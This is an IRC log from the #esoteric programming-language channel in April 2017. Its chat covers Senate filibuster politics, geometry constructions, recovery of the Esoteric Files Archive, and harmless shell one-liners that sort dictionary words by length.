Connection reset by peer). 16:07:27 -!- Zarutian has joined. 16:56:06 -!- FreeFull has joined. 17:19:11 -!- Phantom_Hoover has joined. 17:19:11 -!- Phantom_Hoover has quit (Changing host). 17:19:11 -!- Phantom_Hoover has joined. 17:39:48 -!- lezsakdomi has joined. 17:49:00 <\oren\> there's no dot in Dr Pepper 17:54:15 <\oren\> meaning that it was the same price in the days of ocean liners as when the 17:54:19 <\oren\> Did you know, that Coca-Cola was 5 cents a bottle from 1886 to 1959? 17:54:31 <\oren\> ok wtf stupid copypaste 18:00:44 https://mail.haskell.org/pipermail/haskell-cafe/2017-April/126716.html ... "more transparent", really... 18:01:37 <\oren\> Apparently the US senate are going nuclear! WE'RE DOOMED 18:01:46 \oren\: what? 18:02:07 <\oren\> they are deploying the "nuclear option" to defeat a democratic filibuster 18:02:25 <\oren\> http://www.foxnews.com/politics/2017/04/06/senate-republicans-tee-up-nuclear-showdown-on-gorsuch.html 18:06:04 -!- DHeadshot has joined. 18:08:29 -!- Zarutian has quit (Quit: Zarutian). 18:13:26 -!- erkin has joined. 18:26:20 -!- Zarutian has joined. 18:38:19 -!- Phantom_Hoover has quit (Quit: Leaving). 19:09:23 -!- Phantom_Hoover has joined. 19:09:23 -!- Phantom_Hoover has quit (Changing host). 19:09:23 -!- Phantom_Hoover has joined. 19:42:07 -!- lezsakdomi has quit (Ping timeout: 260 seconds). 19:45:16 Which means that, essentially, the norms of the body are utterly dead. 19:46:18 p. scow 19:46:23 unprecendented, hear, hear. 19:46:27 -n 19:46:53 So, next time we've got a Democratic Pres and Senate, I'm hoping the GOP gets faced with how dumb that was. 19:47:11 Note for starters there's no cap on the number of sitting justices. 19:47:41 Didn't a Democratic senate already do a similar thing a few years ago? 19:47:53 <\oren\> “This is an extreme nominee from the far right who doesn’t believe in the fundamental vision of ‘We the People.“’ 19:48:03 By a "few" you mean "nearly a century ago". 19:48:16 <\oren\> Is Grosuch really so bad? 19:48:28 I mean in 2013. 19:48:45 I'm just trying to imagine the outcry if the Democrats had changed rules like this... or perhaps they did on less visible matters? I don't know. 19:48:50 Not for a Supreme Court nomination, though. 19:48:54 Oh. 19:49:02 shachaf: In 2013, they eliminated the nuclear option on other nominees. 19:49:06 Erm, the filibuster. 19:49:22 After the GOP doubled the number of nominee filibusters that have ever happened. 19:49:53 There have been about 160 nominees filibusters, of those, 80 were Obama's. 19:50:53 And we're talking some very uncontroversial nominees, too. 19:51:11 <\oren\> but is gorsuch really so bad, or are they just filibustering him because AAAA TRUMP AAAA 19:51:13 But the GOP was determined to make his Presidency the least successful one ever. 19:51:28 \oren\: The main justification is actually that Garland never got heard. Ever. 19:51:39 \oren\: But there are some really concerning things in his record as well... 19:51:51 <\oren\> so it has little to do with gorsuch himself? 19:52:50 Well, it's made *worse* by Gorsuch being a fairly right-wing nominee. 19:53:18 But, yes, the main thing turning it from "vote against" to "filibuster like your life depended on it" is Garland. 19:54:12 Opinion-wise, he's very nearly a Scalia clone. 19:55:32 -!- Phantom_Hoover has quit (Quit: Leaving). 19:57:01 <\oren\> "On November 21, 2013, the Senate used the so-called "nuclear option", voting 52–48—with all Republicans and three Democrats voting against—to eliminate the use of the filibuster on executive branch nominees and judicial nominees, except to the Supreme Court." 19:57:33 <\oren\> So that's why the dems couldn't filibuster any of trump's other people 19:57:39 Yep. 19:58:24 Because after seeing the GOP filibuster nominee after nominee, they finally got rid of it, and the GOP for their part decided "fuck your opinions, we vote as a block". 19:58:36 <\oren\> so, when is the second american civil war scheduled? 19:58:55 About 1 hour after Trump's impeachment by a Democratic Congress. 19:59:03 <\oren\> cool 20:03:24 I think I heard them doing something slightly out of the ordinary re Lords and Brexit here as well. 20:13:35 -!- nycs has joined. 20:14:25 -!- lezsakdomi has joined. 20:16:11 -!- hppavilion[1] has joined. 20:16:21 -!- ^_^v has quit (Ping timeout: 260 seconds). 20:16:46 I have just ruler-and-compass constructed a square. I feel like it shouldn't be this complicated 20:19:28 -!- lezsakdomi has quit (Quit: Leaving). 20:22:25 -!- moonythedwarf has joined. 20:25:23 * hppavilion[1] . o O ( I feel like 270 degree angles should be square 20:26:28 ) 20:31:01 <\oren\> wait, wy would it be hard to construct a square 20:31:09 Technically they are the inverse of a 90 degree angle, but that suggusts we dont need 360 degrees to describe things, we only need 180..... *thinking* 20:31:57 <\oren\> first construct two perpendicular lines, then draw a circle around the intersection, then connect the places where the lines intersect the circle 20:35:33 matching keyword /* linked */ equiv { } /* Voids its contents, 'ignored' by the parser */ 20:35:37 i have metalanguage ideas in mind 20:43:06 ruled keyword // equiv { } linked rule { arg: *\n } // Also voids its contents, but has a regex match to boot. 20:43:32 Figuring out how various ticks will work 20:43:36 *tricks 20:45:48 -!- Phantom_Hoover has joined. 20:47:24 Phantom_Helloover, 20:52:31 -!- DHeadshot has quit (Read error: Connection reset by peer). 20:52:58 -!- DHeadshot has joined. 21:00:46 Ewige Muminkraft 21:00:57 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 21:02:21 IMO, when translating a fictional or real brand name (or in general, any newly-invented word not derived from pure throwing-syllables-on-paper), the word should be translated by finding its source, translating those, then recombining 21:02:35 Or Ewige Snufkinkraft? 21:03:26 So Soylent Green is Sojalinse Grün- since "Soylent" is 'soya' (as in 'soy')+'lentil', I translated 'soy' and 'lentil' into German, mushed them together, and translated 'green' normally 21:03:50 (Of course, if it's a real company which has an official international variant, use that instead) 21:04:04 (Following this rule, Apple, inc. becomes Apfel, Inc. 21:04:07 ) 21:11:14 -!- FreeFull has quit (Quit: reboot). 21:11:51 IMO, this depends on whether the brand name has much relevance to the story, or whether it's an opaque string. 21:12:12 Like, would the name itself confer meaning to the original audience. 21:12:36 What if the name involves an intricate and untranslateable pun? 21:12:44 I don't know. 21:13:17 But I will say e.g. Weyland-Yutani shouldn't have anything done to it, aside from maybe swapping the Romanization scheme used for the latter half. 21:14:21 (of course, there the meaning of the name is all to do with the nationality of the two surnames, so any sort of translation would change the meaning while leaving it alone, would not.) 21:18:43 -!- FreeFull has joined. 21:22:09 <\oren\> pikhq: ウェランド湯谷株式会社 21:22:32 That works. 21:22:57 That's also just the exact same name in Japanese, so hey. :) 21:26:03 <\oren\> There's also the Shinra Electric Power Company 21:28:07 <\oren\> where shinra wasn't translated into "god-cloth" or anything 21:28:24 That's a bit hard to translate. 21:29:07 I guess you could do "Theopani"? 21:31:10 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:36:48 -!- moonheart08 has joined. 21:43:06 -!- hppavilion[1] has joined. 21:50:01 <\oren\> "The Daily Beast reported Thursday that Bannon had called Kushner a "cuck" behind his back." 21:50:14 <\oren\> WWWWWWWWWWWWWWWWWWWWWWWWWWWWWW 21:54:44 Hm. 21:57:47 There are mnemonics for remembering the planets- "My Very Excellent Mother Just Gave Us Nachos" (archaic: "My Very Excellent Mother Just Gave Us Nasty Pizza") or "Mary's Virgin Explanation Made Joseph Suspect Upstairs Neighbor) (xkcd) 21:57:55 -!- MoALTz has quit (Quit: Leaving). 21:58:00 s/\) /" \(/ 21:58:29 But I want one for remembering the dwarf AND normal planets 21:59:06 add "Piano Charokee" to the xkcd one? 21:59:14 s/add/append/ 22:24:18 <\oren\> you also need Ceres 22:26:39 -!- nycs has quit (Read error: No route to host). 22:26:55 -!- ^_^v has joined. 22:27:18 \oren\: Yeah 22:27:28 \oren\: And Haumea and Makemake and Eris 22:27:34 -!- lynn_ has changed nick to lynn. 22:28:07 I wrote a bad one for fun: My Vampire Emu Might Consume Judgmentally-Stirred Udon Noodles with Pre-Crumbled Hot Macaroons, Eventually 22:29:09 (I'm particularly proud of using "Pre-Crumbled" for "Pluto and Ceres", since it binds them together; the only issue is that the 'C' should be disposable rather than the 'P') 22:29:31 -!- tsw_ett has quit (Ping timeout: 246 seconds). 22:47:13 <\oren\> that's pluto and charon 22:51:10 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 22:52:03 -!- DHeadshot has quit (Ping timeout: 260 seconds). 22:52:29 -!- DHeadshot has joined. 22:58:40 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:00:37 -!- moonheart08 has quit (Read error: Connection reset by peer). 23:18:00 -!- hppavilion[1] has joined. 23:20:30 \oren\: Oh, yeah, Pluto and Charon. 23:21:01 * hppavilion[1] commits astronomy seppuku 23:21:14 <\oren\> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 23:21:23 <\oren\> because apparently, -D options in gcc invokation doesn't overpower #define 23:21:27 <\oren\> I have to add an #ifndef around the #define in question 23:21:27 (AKA reading his Horoscope) 23:21:42 <\oren\> well then, what I've been doing for the last few days is apparently useless 23:29:39 -!- ^_^v has quit (Quit: This computer has gone to sleep). 23:30:41 \oren\: Were you reading your horoscope? 23:30:51 [and using it to determine which homeopathic remedy to pick?] 23:50:57 -!- FreeFull has quit (Read error: Connection reset by peer). 23:51:58 -!- FreeFull has joined. 23:52:08 My mother just encountered the word "Probabilistic" for the first time, apparently 23:52:51 She's reading a medical report (involved in some legal case) in silence and just said "Pro-buh-bull-ist-ic? Is that even a word?" 23:53:10 -!- DHeadshot has quit (Ping timeout: 260 seconds). 23:57:52 -!- oerjan has joined. 2017-04-07: 00:13:04 -!- Zarutian has quit (Quit: Zarutian). 00:26:05 -!- tsw_ett has joined. 00:28:39 -!- Phantom_Hoover has quit (Remote host closed the connection). 00:34:58 :\ 00:56:58 -!- moonythedwarf has quit (Remote host closed the connection). 01:25:43 [wiki] [[Special:Log/newusers]] create * Crorem * New user account 01:30:30 [wiki] [[Esolang:Introduce yourself]] https://esolangs.org/w/index.php?diff=51643&oldid=51620 * Crorem * (+123) 01:30:42 [wiki] [[User talk:SMA]] N https://esolangs.org/w/index.php?oldid=51644 * Crorem * (+211) Created page with "Hi, I noticed that the link to the interpreter for [[BiTrax]] is dead. Is there any possibility that you could re-host it? Thanks! --~~~~" 01:33:21 That's a little optimistic. 01:35:50 well, it's not _much_ more than a year since User:SMA edited last. 01:36:01 oh wait, it's less. 01:36:10 * oerjan read May as March somehow. 01:38:40 that was an annoying hosting site. and robots.txt violated, so no chance of wayback. 01:39:28 "This file is no longer available because of a claim by system." 01:40:45 meh. 01:42:04 There was a rather odd search hit where the title of the page was "A source code is a bitmap, where each pixel defines a statement:" but then the contents included "Bitrix24 in the App Store" and a Britax baby stroller. 01:42:15 It looks like a website generated from an odd mishmash of things. 01:42:50 Things of somewhat similar lexicographic appearance. 01:45:20 hppavilion[1]: i can construct a square in 12 steps, the three first being marking two arbitrary points and the line between them; are you doing it more complicated than that? 01:45:51 oerjan: I... don't remember. I've deleted the construction because I didn't need it 01:46:07 OKAY 01:46:10 It involved finding a bunch of tangent lines on a circle 01:46:27 well you don't need that to construct a square. 01:46:48 oerjan: Yeah, but that was the only way I could think of 01:47:04 It was, like 01:48:27 A:point, B:point, l:line A B, f:circle A B, g:circle B A, C:intersect l g, and so on or something 01:48:32 I needed a LOT of circles 01:50:15 the first 5 steps are the same as mine. 01:50:40 2 (points) + 1 (line) + 4 (for a perpendicular from first point) + 4 (for a perpendicular from the other point) + 1 (the one missing line) = 12 is what I got. 01:50:42 oh i guess you count finding intersections, i didn't do that. 01:51:05 Is this about that one game or just in general? 01:51:38 i don't know what hppavilion[1] is doing. 01:52:21 fizzie: What game‽‽ 01:52:33 There was that game about constructing things. 01:52:51 https://www.euclidea.xyz/ 01:52:58 I think it was probably that. 01:53:30 not euclidthegame.com? 01:54:01 Yeah, in retrospect that looks more familiar. 01:54:01 which i just found again while trying to seach for an online geometry visualizer (and failing) 01:54:34 I guess euclidea.xyz could be someone's "let's cash in on the fad" thing. 01:54:46 Looks a little more polished maybe. 01:56:20 Like, you get pithy quotes at the end of a task and so on. 01:56:59 hppavilion[1]: ok after what you said, D:intersect l f, h:circle C B, i:circle B C, E,F:intersect h i, m:line E F and that's your first perpendicular. 01:58:23 oerjan: Sounds about right, but I've yet to formally prove the correctness of the ad-hoc language :P 01:58:33 (skimming it suggests you're doing the same thing I did) 01:58:38 Damn squares are convoluted 01:59:59 okay 02:11:07 -!- Zarutian has joined. 02:13:52 hppavilion[1]: your translation talk in the logs made me suddenly realize that the translation of Einstein into a classical greek borrowing is Monolith 02:14:19 oerjan: ...my god. 02:14:28 Or, uh, Mein Gott. 02:15:06 (Or Mein Gotten? Or maybe Mein Götter since polytheism?) 02:15:30 i don't think -en is a suffix used there 02:18:06 wiktionary lists no such word form, even for the archaic 16th-18th century forms. 02:18:50 it would be Meine Götter in the plural. 02:25:12 Misbe-gotten. 02:27:02 . o O ( newton <- new-town -> nea-polis -> naples ) 02:29:10 darwin seems to have disputed etymology 02:31:25 although one of them could give Philophilos 02:31:42 (philos meaning both dear and friend in greek) 02:34:15 the other meaning could give Drys 02:35:17 or maybe Dryinos 02:35:40 which if so looks like it might be cognate 02:36:37 -!- Crorem has joined. 02:36:54 relcome crorem 02:37:01 Hi 02:37:11 ​crorem: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 02:37:35 Crorem: i'm afraid User:SMA hasn't been seen in nearly a year 02:39:08 i don't remember if they ever came here on irc 02:40:16 That's a shame 02:40:51 Would you know anywhere where the BiTrax interpreter might be archived? 02:41:14 i checked wayback, but of course the site has a robots.txt :( 02:41:37 and fizzie googled some, i think 02:42:23 but he didn't seem to find anything relevant 02:43:44 Drat 02:43:48 Well, thanks for trying 02:52:52 -!- Crorem has quit (Ping timeout: 260 seconds). 02:54:00 oerjan: Oh, whoops, I meant to just say say "Mein Götter", but my syntax messed up when I changed plans 02:54:44 oerjan: But what about the unfortunate town of Dildo? 02:55:08 DUNNO 02:55:08 get your mind out of the götter 03:01:58 There are mnemonics for remembering the planets- "My Very Excellent Mother Just Gave Us Nachos" (archaic: "My Very Excellent Mother Just Gave Us Nasty Pizza") or "Mary's Virgin Explanation Made Joseph Suspect Upstairs Neighbor) (xkcd) <-- i think you mean "Served" or something hth 03:02:00 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 03:02:40 NOOOOOOOOOOOOOOOOOOOO HE ESCAPED 03:13:46 <\oren\> the USA has hit a Syrian Air base in homs with 50 cruise missiles 03:13:50 <\oren\> esitmated to destroy at least a quarter of the Syrian Air Force 03:17:50 -!- Zarutian has quit (Quit: Zarutian). 03:45:57 -!- xkapastel has joined. 03:52:01 -!- shikhin has changed nick to {}{}{}{}{}{}{}{}. 03:53:41 -!- {}{}{}{}{}{}{}{} has changed nick to shikhin. 03:58:25 -!- hppavilion[1] has joined. 04:17:59 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 04:19:08 -!- tsw_ett has quit (Ping timeout: 240 seconds). 04:23:55 ? i,i 04:23:56 i,i is short for "I have wasps in my underwear, and I want to distract myself by saying". 04:50:05 -!- hppavilion[1] has joined. 05:12:06 <\oren\> AAAAAA Idiots on CNN keep saying it's an "air strike" 05:12:08 <\oren\> those aren't the same unless you're Japanese 05:12:13 <\oren\> It's not it's a CRUISE MISSILE strike 05:47:59 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 05:51:32 they're clearly ground strikes, anyway 06:27:55 -!- oerjan has quit (Quit: Nite). 06:49:36 -!- FreeFull has quit. 06:53:58 -!- xkapastel has quit (Quit: Connection closed for inactivity). 06:57:50 newsham: There's such a thing as a stovetop pizza oven?! 06:57:53 Is it any good? 07:02:17 you're asking me? 07:02:24 i havent heard of a stovetop pizza oven 07:04:24 But you're a pizza expert. 07:06:20 -!- hppavilion[1] has joined. 07:34:57 -!- ais523 has joined. 07:35:20 voxelperfect.net appears to have been taken over by domain parkers 07:35:28 does anyone have a backup of the Esoteric Files Archive? 07:36:30 Is there an equivalent of the Vesica Piscis for ellipses? 07:38:33 actually this may be worth putting in the topic, a lot of esolang content is hosted there 07:38:57 -!- ais523 has set topic: voxelperfect.net is parked; anyone have a backup of the Esoteric Files Archive? | News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 07:49:28 it crosses my mind that graue may still be contactable and probably still has a copy, but it may be best to see if an actual regular has a copy, first 07:50:29 ais523: https://github.com/graue/esofiles hth 07:50:29 hmm the (linode) server that went with it seems to be gone as well. 07:50:46 oh good 07:50:52 we should probably update links, in that case 07:51:07 also, get a few clones of the repo going just in case Github gets parked too ;-) 07:51:33 -!- ais523 has set topic: News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 07:57:54 -!- MoALTz has joined. 07:59:12 -!- hppavilion[1] has set topic: voxelperfect.net is parked; use github.com/graue/esofiles as a mirror | News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 07:59:26 -!- hppavilion[1] has set topic: voxelperfect.net is parked; use github.com/graue/esofiles | News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 08:08:19 the topic is mostly write-only 08:08:36 [wiki] [[Talk:BackFlip]] https://esolangs.org/w/index.php?diff=51645&oldid=49072 * Ais523 * (+472) /* How to make infinite memory */ another, belated, idea 08:08:49 or write-mostly, or is it mostly right? 08:09:04 It seems to be left-mostly. 08:09:15 And rarely right. 08:10:39 well, only the rightmost parts are mostly left 08:11:37 The right part alone is mostly left alone. 08:21:47 * hppavilion[1] hands shachaf an MD 08:22:11 perhaps we should try randomly reordering it and seeing if that changes the sort of edits we normally get? 08:22:34 Well, the logs and esolangs.org links are important. 08:22:47 Most of the rest is usually superfluous. 08:26:00 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 08:32:43 is wisdom.pdf meant to be a permanent feature? or not? 08:33:00 I don't know. 08:33:13 I don't like it. I don't think my wisdom should be recorded for eternity. 08:33:20 But others like i so who knows. 08:38:04 -!- AnotherTest has joined. 08:44:10 I don't really care for it being there permanently, although advertising it when it was made made sense 08:46:27 le/rn esoteric files archive/The Esoteric Files Archive is now available at https://github.com/graue/esofiles 08:46:31 Learned 'esoteric files archive/the esoteric files archive is now available at https:': github.com/graue/esofiles 08:47:14 -!- shachaf has set topic: http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | For bots, use #esoteric-blah. 08:53:48 -!- ais523 has quit. 10:20:13 -!- int-e has set topic: News: New pyramid found in Egypt | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf | For extensive phở testing, use #esoteric-blah. 10:45:25 -!- augur has joined. 11:32:12 -!- boily has joined. 11:34:50 -!- augur has quit (Remote host closed the connection). 11:39:25 wisdom 11:39:26 ​?//? is wisdom 11:39:43 yes, but what is wisdom? 11:40:18 -!- augur has joined. 11:42:53 ? wisdom 11:42:54 wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø? 11:43:08 boily: always factually accurate (exceptions may apply) 11:43:28 FirelloFly. I trust the Wisdom. 11:44:13 bohily 11:45:19 -!- augur has quit (Ping timeout: 260 seconds). 11:50:01 -!- augur has joined. 11:54:10 -!- augur has quit (Ping timeout: 246 seconds). 11:59:05 -!- augur has joined. 12:03:38 -!- augur has quit (Ping timeout: 240 seconds). 12:08:14 -!- augur has joined. 12:12:28 -!- augur has quit (Ping timeout: 240 seconds). 12:17:19 -!- augur has joined. 12:21:45 -!- augur has quit (Ping timeout: 260 seconds). 12:26:07 -!- augur has joined. 12:29:08 -!- boily has quit (Quit: STEALTH CHICKEN). 12:30:56 -!- augur has quit (Ping timeout: 256 seconds). 12:35:30 -!- augur has joined. 12:40:20 -!- augur has quit (Ping timeout: 268 seconds). 12:44:24 -!- augur has joined. 12:49:15 -!- augur has quit (Ping timeout: 260 seconds). 12:53:42 -!- augur has joined. 12:57:58 -!- augur has quit (Ping timeout: 240 seconds). 13:07:03 -!- augur has joined. 13:13:16 heh heh. heard on ##workingset: "make is not a programming language in the sense that people write applications or OSes in it." Sounds like make is an esolang then. 13:13:25 (In the sense that openttd signals are.) 13:39:52 Also sounds like a challenge. 14:08:06 -!- augur has quit (Remote host closed the connection). 14:30:54 -!- ^_^v has joined. 14:42:23 -!- augur has joined. 14:46:56 -!- augur has quit (Ping timeout: 256 seconds). 14:46:59 -!- DHeadshot has joined. 15:12:58 -!- augur has joined. 15:50:01 -!- Lord_of_Life has joined. 15:54:18 -!- idris-bot has quit (Quit: Terminated). 15:55:34 -!- idris-bot has joined. 15:56:16 -!- idris-bot has quit (Client Quit). 16:22:47 -!- hppavilion[1] has joined. 16:22:59 -!- augur has quit (Remote host closed the connection). 16:25:39 -!- augur has joined. 16:28:42 -!- Zarutian has joined. 16:34:44 Do they make Fat Link Shorteners? 16:37:00 Fat Link Thinners* 16:37:40 and yes, it's called a font size menu 16:37:40 -!- augur has quit (Remote host closed the connection). 16:37:53 works for both fat and long links 16:40:21 not broad ones tho :/ 16:42:19 -!- augur has joined. 16:42:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 16:46:47 -!- augur has quit (Ping timeout: 260 seconds). 17:00:06 -!- erkin has joined. 17:06:20 -!- Zarutian has quit (Quit: Zarutian). 17:07:15 -!- keemyb has quit (Quit: https://fnordserver.eu). 17:08:15 -!- ybden has quit (Ping timeout: 260 seconds). 17:18:15 -!- augur has joined. 17:22:37 -!- augur has quit (Ping timeout: 264 seconds). 17:22:41 -!- Zarutian has joined. 17:29:36 -!- S1 has joined. 17:34:48 -!- moony has joined. 17:35:33 -!- Lord_of_Life has quit (Excess Flood). 17:37:56 -!- Phantom_Hoover has joined. 17:39:01 -!- Lord_of_Life has joined. 17:44:37 -!- sleffy has joined. 17:52:13 -!- sleffy has quit (Ping timeout: 246 seconds). 17:53:11 -!- sleffy has joined. 17:54:22 -!- augur has joined. 17:59:07 -!- augur has quit (Ping timeout: 260 seconds). 18:11:40 <\oren\> I wonder if anyone has the phone number 5138008 18:12:56 Why? 18:13:16 <\oren\> if you have 5318008 on a calculator and you turn it upside down 18:13:26 lol, ok 18:23:20 <\oren\> hmm, make is turing complete when you inlcude its ability to run other programs, but what if make is executed in an environment with an innefectual version of sh? 18:24:52 \oren\: gnu make or some other version of make? 18:25:17 <\oren\> gnu make would probably be the most likely to be turing complete... 18:26:37 I think gnu make is probably turing complete. It has all sorts of crazy built-in functions, including text-manip stuff and an eval function. You can define variables. 18:26:51 Has conditionals too. 18:27:33 http://99-bottles-of-beer.net/language-make-2466.html 18:28:34 You can access variables indirectly by name too. 18:37:41 \oren\, pls. y u do joke like dat 18:38:38 -!- ybden has joined. 18:49:39 -!- hppavilion[1] has joined. 18:55:08 -!- hppavilion[1] has quit (Ping timeout: 256 seconds). 19:00:04 -!- sparr has quit (Changing host). 19:00:04 -!- sparr has joined. 19:01:19 -!- erkin has quit (Quit: Ouch! Got SIGABRT, dying...). 19:05:12 -!- hppavilion[1] has joined. 19:08:03 hi 19:08:30 How about a program that searches for all possible combinations of numbers that yields letters, and returns the ones that are in dictionaries? 19:11:07 I already wrote such a program to look for a Google Voice number. 19:12:35 rdococ: wouldn't that just be grep(1)? 19:14:36 probablistic 19:49:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:17:00 -!- sleffy has quit (Ping timeout: 240 seconds). 20:17:58 -!- sleffy has joined. 20:24:07 -!- hppavilion[1] has joined. 20:34:45 <\oren\> https://www.youtube.com/watch?v=uI9hqvync5Y 20:39:16 -!- zzo38 has joined. 20:41:52 They're talking about Emmental in class. 20:44:40 Speaking for searching a dictionary. 20:44:42  grep -E '^a?b?c?d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z?a?b?c?d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z?' share/dict-words | perl -pe 'print length(_), " ";' | sort -nr | head -n 20 | cut -d ' ' -f 2 20:44:43 loquacity \ imprudent \ certainty \ mortuary \ invaders \ impudent \ hostelry \ horsefly \ hindmost \ foremost \ envelops \ eloquent \ develops \ degrades \ deforest \ definers \ corsairs \ citadels \ chowders \ chivalry 20:45:10 That's the regex for nethack inventory letter words. 20:46:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 20:47:01 fizzie: What about uppercase? 20:47:59 If you mean uppercase in input, in my 'words' those are boringly names. If you mean uppercasing the first half in the output, that's left as an exercise. 20:48:20 Oh, wait, you did include the alphabet twice. 20:48:29 Or is it the second half. I forget. Anyway. 20:48:33 OK then. 20:49:22 dowg bin/sort-by-lengths 20:49:36 No output. 20:49:54 dowg bin/sort-by-lengths 20:50:00 cat bin/sort-by-lengths 20:50:01 awk '{print length"\t"0}' | sort -n | cut -f2- 20:50:02 No output. 20:50:05 'w'? 20:50:07 Oh, right, doag 20:50:11 doag bin/sort-by-lengths 20:50:18 9746:2016-11-20 mkx bin/sort-by-lengths//awk \'{print length"\\t"0}\' | sort -n | cut -f2- 20:50:21 fizzie: I thought it was a pretty wise move to put it there. 20:51:55  abc='a?b?c?d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z?'; grep -E "^abcabc" share/dict-words | sort-by-length | tac | head -n20 20:51:56 ​/hackenv/bin/: line 4: sort-by-length: command not found 20:51:59  abc='a?b?c?d?e?f?g?h?i?j?k?l?m?n?o?p?q?r?s?t?u?v?w?x?y?z?'; grep -E "^abcabc" share/dict-words | sort-by-lengths | tac | head -n20 20:52:00 loquacity \ imprudent \ certainty \ mortuary \ invaders \ impudent \ hostelry \ horsefly \ hindmost \ foremost \ envelops \ eloquent \ develops \ degrades \ deforest \ definers \ corsairs \ citadels \ chowders \ chivalry 20:53:13  abc=(echo abcdefghijklmnopqrstuvwxyz | sed 's/./&?/g'); grep -E "^abcabc" share/dict-words | sort-by-lengths | tac | head -n20 20:53:14 loquacity \ imprudent \ certainty \ mortuary \ invaders \ impudent \ hostelry \ horsefly \ hindmost \ foremost \ envelops \ eloquent \ develops \ degrades \ deforest \ definers \ corsairs \ citadels \ chowders \ chivalry 20:53:31  abc=(echo abcdefghijklmnopqrstuvwxyz | sed 's/./&?/g'); grep -E "^abcabc" share/dict-words | sort-by-lengths | tac | head -n30 | xargs 20:53:32 loquacity imprudent certainty mortuary invaders impudent hostelry horsefly hindmost foremost envelops eloquent develops degrades deforest definers corsairs citadels chowders chivalry belabors airships adorably adjacent adequacy acquaint acerbity abstains thirsty tailors 20:53:42 Thirsty tailors. 20:53:50 Hungry sailors. 20:54:47 -!- S1 has quit (Quit: Leaving). 20:55:32 It's amazing that sort by length isn't a thing you can easily do, isn't it? 20:55:53 What a mess. 21:00:17 -!- hppavilion[1] has joined. 21:16:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 21:21:37 -!- hppavilion[1] has joined. 21:23:50 I had the idea "HTTP Directory Listing", which has the format of a list of key:value pairs with blank lines between records, and with the MIME type "application/directory-listing" perhaps. That is the main problem with HTTP, so the implementation of this idea would fix that problem. 21:23:58 ?messages-loud 21:23:58 shachaf asked 3d 20h 56m 51s ago: Do you like this? 21:23:58 shachaf said 3d 17h 1m 16s ago: By "this" I meant System F. Hope that helps. 21:26:17  < /usr/share/dict/words awk '{print length(1)"\t"1}' | sort -rn | cut -f2- | head -n10 | xargs 21:26:18 ​/hackenv/bin/: line 4: /usr/share/dict/words: No such file or directory 21:26:28  < share/dict-words awk '{print length(1)"\t"1}' | sort -rn | cut -f2- | head -n10 | xargs 21:26:29 xargs: unmatched single quote; by default quotes are special to xargs unless you use the -0 option 21:26:34 mm 21:29:07  < share/dict-words awk '{print length(1)"\t"1}' | sort -rn | cut -f2- | head -n10 | tr \\n \ 21:29:08 electroencephalograph's electroencephalographs electroencephalogram's counterrevolutionary's counterrevolutionaries Andrianampoinimerina's electroencephalograph electroencephalograms counterintelligence's uncharacteristically 21:29:57 -!- moony has quit (Remote host closed the connection). 21:30:35 hah. I didn't look at the code above... funny it should be the same... minus one unintended bug. 21:31:39 (namely, using 1 instead of 0) 21:31:55 -!- sleffy has quit (Ping timeout: 260 seconds). 21:37:20 Particle Physics is all about seeing small numbers as huge; math is all about seeing infinitely large numbers as quaint. 21:40:16 lol 21:42:00 QuickBASIC does not allow a RETURN command inside of a SUB/FUNCTION to specify the label to return to. 21:42:22 I think it ought to be allowed (only if returning to another label in the same subroutine though) 21:52:17 I had the idea of implementing GOTOs by allowing the instruction pointer to be read and written like a variable 22:09:54 <\oren\> rdococ: that doesn't tend to work well unless you have labels as constant variables 22:11:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 22:25:41 that was the approach I was taking 22:27:13  (echo 缩短; echo long) | sort-by-length 22:27:13 ​/hackenv/bin/: line 4: sort-by-length: command not found 22:27:19  (echo 缩短; echo long) | sort-by-lengths 22:27:19 long \ 缩短 22:27:40  locale 22:27:41 LANG=en_NZ.UTF-8 \ LANGUAGE= \ LC_CTYPE="en_NZ.UTF-8" \ LC_NUMERIC="en_NZ.UTF-8" \ LC_TIME="en_NZ.UTF-8" \ LC_COLLATE="en_NZ.UTF-8" \ 